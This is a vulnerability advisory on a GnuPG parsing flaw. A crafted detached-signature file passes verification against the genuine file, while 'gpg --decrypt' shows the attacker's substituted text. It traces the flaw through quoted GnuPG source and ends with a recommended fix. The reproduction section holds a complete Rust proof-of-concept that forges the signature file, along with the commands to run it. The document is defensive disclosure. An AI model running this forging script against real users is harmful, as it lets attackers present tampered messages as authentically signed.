Multiple Plaintext Attack on Detached PGP Signatures in GnuPG
An attacker can arbitrarily swap the plaintext shown to a GnuPG user, when the user verifies a detached signature versus views it with --decrypt.
Impact
This attack allows deceiving users verifying messages, following GnuPG usage best practices about the content of a message signed with a detached signature. Note, that it is possible in many scenarios to convert between signature types, i.e., convert a different signature type to a detached signature
Details
We take a detached signature containing:
- the original file
- a
.sigfile containing a Signature Packet
(Alternatively, we can use a full signature and extract the original file with --decrypt; this also gives us a pre-made One-Pass Packet for the next step.)
We then overwrite the .sig file with the following packets:
- One-Pass Packet for original signature
- Literal Packet containing injected, unsigned data
- Unmodified Signature Packet for original file
- Marker Packet (0x[
ca ff 00 00 00 03 50 47 50])
GnuPG’s main process keeps track of how many data packets it has seen in its context:
/*
* Object to hold the processing context.
*/
typedef struct mainproc_context* CTX;
struct mainproc_context {
// ...
struct {
unsigned int sig_seen : 1; /* Set to true if a signature packet
has been seen. */
unsigned int data : 1; /* Any data packet seen */
unsigned int uncompress_failed : 1;
} any;
}; While processing a packet list, the data field is written in the line annotated by us with [1] (original code formatting):
static int
do_proc_packets (CTX c, iobuf_t a, int keep_dek_and_list)
{
// ...
while ((rc=parse_packet (&parsectx, pkt)) != -1)
{
newpkt = -1;
if (opt.list_packets)
{
switch (pkt->pkttype)
{
case PKT_PUBKEY_ENC: proc_pubkey_enc (c, pkt); break;
case PKT_SYMKEY_ENC: proc_symkey_enc (c, pkt); break;
case PKT_ENCRYPTED:
case PKT_ENCRYPTED_MDC:
case PKT_ENCRYPTED_AEAD:proc_encrypted (c, pkt); break;
case PKT_COMPRESSED: rc = proc_compressed (c, pkt); break;
default: newpkt = 0; break;
}
}
else if (c->sigs_only)
{
switch (pkt->pkttype)
{
case PKT_PUBLIC_KEY:
case PKT_SECRET_KEY:
case PKT_USER_ID:
case PKT_SYMKEY_ENC:
case PKT_PUBKEY_ENC:
case PKT_ENCRYPTED:
case PKT_ENCRYPTED_MDC:
case PKT_ENCRYPTED_AEAD:
write_status_text( STATUS_UNEXPECTED, "0" );
rc = GPG_ERR_UNEXPECTED;
goto leave;
case PKT_SIGNATURE: newpkt = add_signature (c, pkt); break;
case PKT_PLAINTEXT: proc_plaintext (c, pkt); break;
case PKT_COMPRESSED: rc = proc_compressed (c, pkt); break;
case PKT_ONEPASS_SIG: newpkt = add_onepass_sig (c, pkt); break;
case PKT_GPG_CONTROL: newpkt = add_gpg_control (c, pkt); break;
default: newpkt = 0; break;
}
}
else if (c->encrypt_only)
{
switch (pkt->pkttype)
{
case PKT_PUBLIC_KEY:
case PKT_SECRET_KEY:
case PKT_USER_ID:
write_status_text (STATUS_UNEXPECTED, "0");
rc = GPG_ERR_UNEXPECTED;
goto leave;
case PKT_SIGNATURE: newpkt = add_signature (c, pkt); break;
case PKT_SYMKEY_ENC:
case PKT_PUBKEY_ENC:
/* In --add-recipients mode set the stop flag as soon as
* we see the first of these packets. */
if (c->ctrl->modify_recipients)
parsectx.only_fookey_enc = 1;
if (pkt->pkttype == PKT_SYMKEY_ENC)
proc_symkey_enc (c, pkt);
else
proc_pubkey_enc (c, pkt);
break;
case PKT_ENCRYPTED:
case PKT_ENCRYPTED_MDC:
case PKT_ENCRYPTED_AEAD: proc_encrypted (c, pkt); break;
case PKT_PLAINTEXT: proc_plaintext (c, pkt); break;
case PKT_COMPRESSED: rc = proc_compressed (c, pkt); break;
case PKT_ONEPASS_SIG: newpkt = add_onepass_sig (c, pkt); break;
case PKT_GPG_CONTROL: newpkt = add_gpg_control (c, pkt); break;
default: newpkt = 0; break;
}
}
// ...
if (pkt->pkttype != PKT_SIGNATURE && pkt->pkttype != PKT_MDC)
c->any.data = (pkt->pkttype == PKT_PLAINTEXT); // [1]
// ...
}
else
free_packet (pkt, &parsectx);
}
// ...
leave:
if (!keep_dek_and_list)
release_list (c);
return rc;
} In summary:
- It only allows certain packet types in
encrypt_onlyandsigs_only - After each packet, it checks if the packet is not a Signature or MDC Packet
- If so, it sets
any.datato whether the latest packet is a Literal Data Packet (PKT_PLAINTEXT)
- If so, it sets
The intended behavior for the packet types is this: (any.data starts at 0)
- Detached signatures:
- Signature Packet: Sig/MDC, skip write.
any.data == 0
- Signature Packet: Sig/MDC, skip write.
- Full signatures:
- One-Pass Signature Packet: Not Sig/MDC, write
pkttype == PKT_PLAINTEXT.any.data = 0 - Literal Data Packet: Not Sig/MDC, write
pkttype == PKT_PLAINTEXT.any.data = 1 - Signature Packet: Sig/MDC, skip write.
any.data == 1
- One-Pass Signature Packet: Not Sig/MDC, write
- Cleartext signature (using internal GPG packet):
- GPG Control Packet: Not Sig/MDC, write
pkttype == PKT_PLAINTEXT.any.data = 0 - Literal Data Packet: Not Sig/MDC, write
pkttype == PKT_PLAINTEXT.any.data = 1 - Signature Packet: Sig/MDC, skip write.
any.data == 1
- GPG Control Packet: Not Sig/MDC, write
However, an attacker can set any.data to 0 by forming an invalid message similar to a full signature:
- One-Pass Signature Packet: Not Sig/MDC, write
pkttype == PKT_PLAINTEXT.any.data = 0 - Literal Data Packet: Not Sig/MDC, write
pkttype == PKT_PLAINTEXT.any.data = 1 - Signature Packet: Sig/MDC, skip write.
any.data == 1 - Marker Packet: Not Sig/MDC, write
pkttype == PKT_PLAINTEXT.any.data = 0
This sets any.data to 0 despite there being a data packet. And since the PKT_MARKER type is not covered by the non-exhaustive switch cases, the packet can simply be inserted into the message.
When GnuPG parses the message above, it creates a hash buffer for the literal packet above and handles output when processing the packet. This happens in the switch case above in the case PKT_PLAINTEXT: proc_plaintext(c, pkt); branch, which does the following:
static void proc_plaintext(CTX c, PACKET* pkt) {
// ...
free_md_filter_context(&c->mfx);
if (gcry_md_open(&c->mfx.md, 0, 0))
BUG();
// ...
if (!rc) {
/* It we are in --verify mode, we do not want to output the
* signed text. However, if --output is also used we do what
* has been requested and write out the signed data. */
rc = handle_plaintext(pt, &c->mfx,
(opt.outfp || opt.outfile) ? 0 : c->sigs_only,
clearsig);
if (gpg_err_code(rc) == GPG_ERR_EACCES && !c->sigs_only) {
/* Can't write output but we hash it anyway to check the
signature. */
rc = handle_plaintext(pt, &c->mfx, 1, clearsig);
}
}
if (rc)
log_error("handle plaintext failed: %s\n", gpg_strerror(rc));
// ...
} And in handle_plaintext:
int handle_plaintext(PKT_plaintext* pt, md_filter_context_t* mfx,
int nooutput, int clearsig) {
char* fname = NULL;
estream_t fp = NULL;
if (!nooutput) {
err = get_output_file(pt->name, pt->namelen, pt->buf, &fname, &fp);
if (err) goto leave;
}
// ...
if (mfx->md) gcry_md_write(mfx->md, buffer, len);
if (fp) {
// ...
if (es_fwrite(buffer, 1, len, fp) != len) {
// ...
}
}
// ...
} After that code is done, the newly created tree of parsed packets gets processed.
Crucially, the !c->any.data condition is used to determine whether a signature is a detached signature or a full signature (as described in the comment in the second check).
static void release_list(CTX c) {
proc_tree(c, c->list);
// ...
}
static void proc_tree(CTX c, kbnode_t node) {
// ...
if (node->pkt->pkttype == PKT_PUBLIC_KEY
|| node->pkt->pkttype == PKT_PUBLIC_SUBKEY) {
merge_keys_and_selfsig(c->ctrl, node);
list_node(c, node);
} else if (node->pkt->pkttype == PKT_SECRET_KEY) {
merge_keys_and_selfsig(c->ctrl, node);
list_node(c, node);
} else if (node->pkt->pkttype == PKT_ONEPASS_SIG) {
/* Check all signatures. */
if (!c->any.data) {
int use_textmode = 0;
free_md_filter_context(&c->mfx);
/* Prepare to create all requested message digests. */
rc = gcry_md_open(&c->mfx.md, 0, 0);
if (rc) goto hash_err;
/* Fixme: why looking for the signature packet and not the
one-pass packet? */
for (n1 = node; (n1 = find_next_kbnode(n1, PKT_SIGNATURE));)
gcry_md_enable(
c->mfx.md, n1->pkt->pkt.signature->digest_algo);
if (n1 && n1->pkt->pkt.onepass_sig->sig_class == 0x01) use_textmode = 1;
/* Ask for file and hash it. */
if (c->sigs_only) {
if (c->signed_data.used && c->signed_data.data_fd != -1)
rc = hash_datafile_by_fd(c->mfx.md, NULL,
c->signed_data.data_fd,
use_textmode);
else
rc = hash_datafiles(c->mfx.md, NULL,
c->signed_data.data_names,
c->sigfilename,
use_textmode);
} else {
rc = ask_for_detached_datafile(c->mfx.md, NULL,
iobuf_get_real_fname(c->iobuf),
use_textmode);
}
hash_err: if (rc) {
log_error("can't hash datafile: %s\n", gpg_strerror(rc));
return;
}
} else if (c->signed_data.used) {
log_error(_("not a detached signature\n"));
return;
}
for (n1 = node; (n1 = find_next_kbnode(n1, PKT_SIGNATURE));) check_sig_and_print(c, n1);
} else if (node->pkt->pkttype == PKT_GPG_CONTROL
&& node->pkt->pkt.gpg_control->control == CTRLPKT_CLEARSIGN_START) {
/* Clear text signed message. */
// ...
} else if (node->pkt->pkttype == PKT_SIGNATURE) {
// ...
if (!c->any.data) {
/* Detached signature */
// ...
} else if (c->signed_data.used) {
log_error(_("not a detached signature\n"));
return;
}
// ...
} else {
dump_kbnode(c->list);
log_error("invalid root packet detected in proc_tree()\n");
dump_kbnode(node);
}
}
An attacker can construct a packet that is processed by GnuPG in the following way:
any->datais initialized to0do_proc_packetsloops over the packets:- The One-Pass Packet gets processed as usual
any->datagets set to0
- The Literal Data Packet gets processed by
proc_plaintext:- It opens the message hash digest buffer
mfx.md - It calls
handle_plaintext:- It reads the content of the literal packet
- It writes it into the
mfx.mdbuffer - It writes the literal data packet to the output file
any->datagets set to1
- It opens the message hash digest buffer
- The Signature Packet gets processed as usual
any->datais untouched
- The Marker Packet gets processed
any->datagets set to0
- The One-Pass Packet gets processed as usual
proc_treegets called- It processes the root (first packet) as an One-Pass Sig Packet, and branches
- It observes
any.dataas0, and branches to the detached signature code- It opens the message hash digest buffer
mfx.md, resetting it - It looks for a detached datafile and writes it into the
mfx.mdbuffer
- It opens the message hash digest buffer
- The signature of our packet gets checked against
mfx.md, which now contains the detached datafile!
Therefore, the output is the data from our literal packet, while the detached datafile is hashed and verified, while the output is never hashed.
Detailed steps to reproduce
Scenario
Alice wants to send Bob a message.
Over a trusted channel they exchanged and verified their public keys.
Over an untrusted channel, on which Mallory has an MITM role, Alice sends a the message along with a detached signature.
Mallory changes the content of the detached signature.
Bob successfully verifies the authenticity of the message.
He additionally uses --decrypt (verifies and outputs the message) to view the message.
Instead, of being shown Alice’s original message, Bob sees the content that Mallory placed
Procedure
Alice writes and signs the message and sends it to Bob.
echo Plaintext > plaintext
gpg --detach-sig plaintext During transport Mallory manipulates the message in the following way:
#!/usr/bin/env rust-script
//! ```cargo
//! [dependencies]
//! sequoia-openpgp = "2.0.0"
//! simple-base64 = "0.23.2"
//! ```
use sequoia_openpgp::packet::{Literal, Marker, OnePassSig};
use sequoia_openpgp::parse::Parse;
use sequoia_openpgp::serialize::stream::{Armorer, Message};
use sequoia_openpgp::serialize::Serialize;
use sequoia_openpgp::types::DataFormat::Binary;
use sequoia_openpgp::{Packet, PacketPile};
fn multi_plain(sig_path: &str, rep: &str) {
let pile = PacketPile::from_file(sig_path).unwrap();
let sig = pile.into_children().filter_map(|x| match x {
Packet::Signature(s) => Some(s), _ => None
}).next().expect("Needs a signature packet");
let ops = OnePassSig::try_from(&sig).expect("A one-pass sig to exist");
let mut lit = Literal::new(Binary);
let mut body = rep.as_bytes().to_vec();
body.push('\n' as u8); // just for viewing convenience
lit.set_body(body);
let mrk = Marker::default();
let mut buf = vec![];
let msg = Message::new(&mut buf);
let mut msg = Armorer::new(msg).build().unwrap();
Packet::from(ops).serialize(&mut msg).unwrap();
Packet::from(lit).serialize(&mut msg).unwrap();
Packet::from(sig).serialize(&mut msg).unwrap();
Packet::from(mrk).serialize(&mut msg).unwrap();
msg.finalize().unwrap();
std::fs::write(sig_path, buf).unwrap();
println!("Verify with:\n\tgpg --verify {sig_path}\nExtract with:\n\tgpg --decrypt {sig_path} > out\n\tcat out");
}
fn main() {
let args_raw: Vec<_> = std::env::args().collect();
let args: Vec<_> = args_raw.iter().map(|x| x.as_ref()).collect();
match args[1..] {
["multi_plain", sig, rep] => multi_plain(sig, rep),
_ => println!("Use with ./gen.rs multi_plain <sig_path> <replacement text>")
}
} ./gen.rs multi_plain plaintext.sig Malicious Bob verifies the message successfully and gets shown the malicious content.
gpg --verify plaintext.sig plaintext # Verifies
gpg --decrypt plaintext.sig # Verifies & prints "Malicious" Notes:
- Technically running
--verifyis not necessary on Bob’s end. It is only to show that both code paths get confused by this attack.--decryptalso includes verification. To quote from the man page:
--decrypt
-d Decrypt the file given on the command line (or STDIN if no file is specified) and write it to STDOUT (or the file specified with --output). If
the decrypted file is signed, the signature is also verified. This command differs from the default operation, as it never writes to the file‐
name which is included in the file and it rejects files that don't begin with an encrypted message. - Running
gpg --verify plaintext.sigprints a warning but still successfully verifies
Recommendations
Immediate fix of exploitation:
if (pkt->pkttype != PKT_SIGNATURE && pkt->pkttype != PKT_MDC)
c->any.data |= (pkt->pkttype == PKT_PLAINTEXT); If c->any.data is not allowed to turn back to false, exploitation is impossible.
In the long run, the state machine should be reworked. A lot of security-critical mechanisms like c->any.data and other multiple plaintext mitigations are dependent on state and are measured in brittle ways, e.g. by checking for detached vs. full/clear signatures by counting the plaintext packets while parsing, instead of checking ahead of time whether the shape of the input is sane.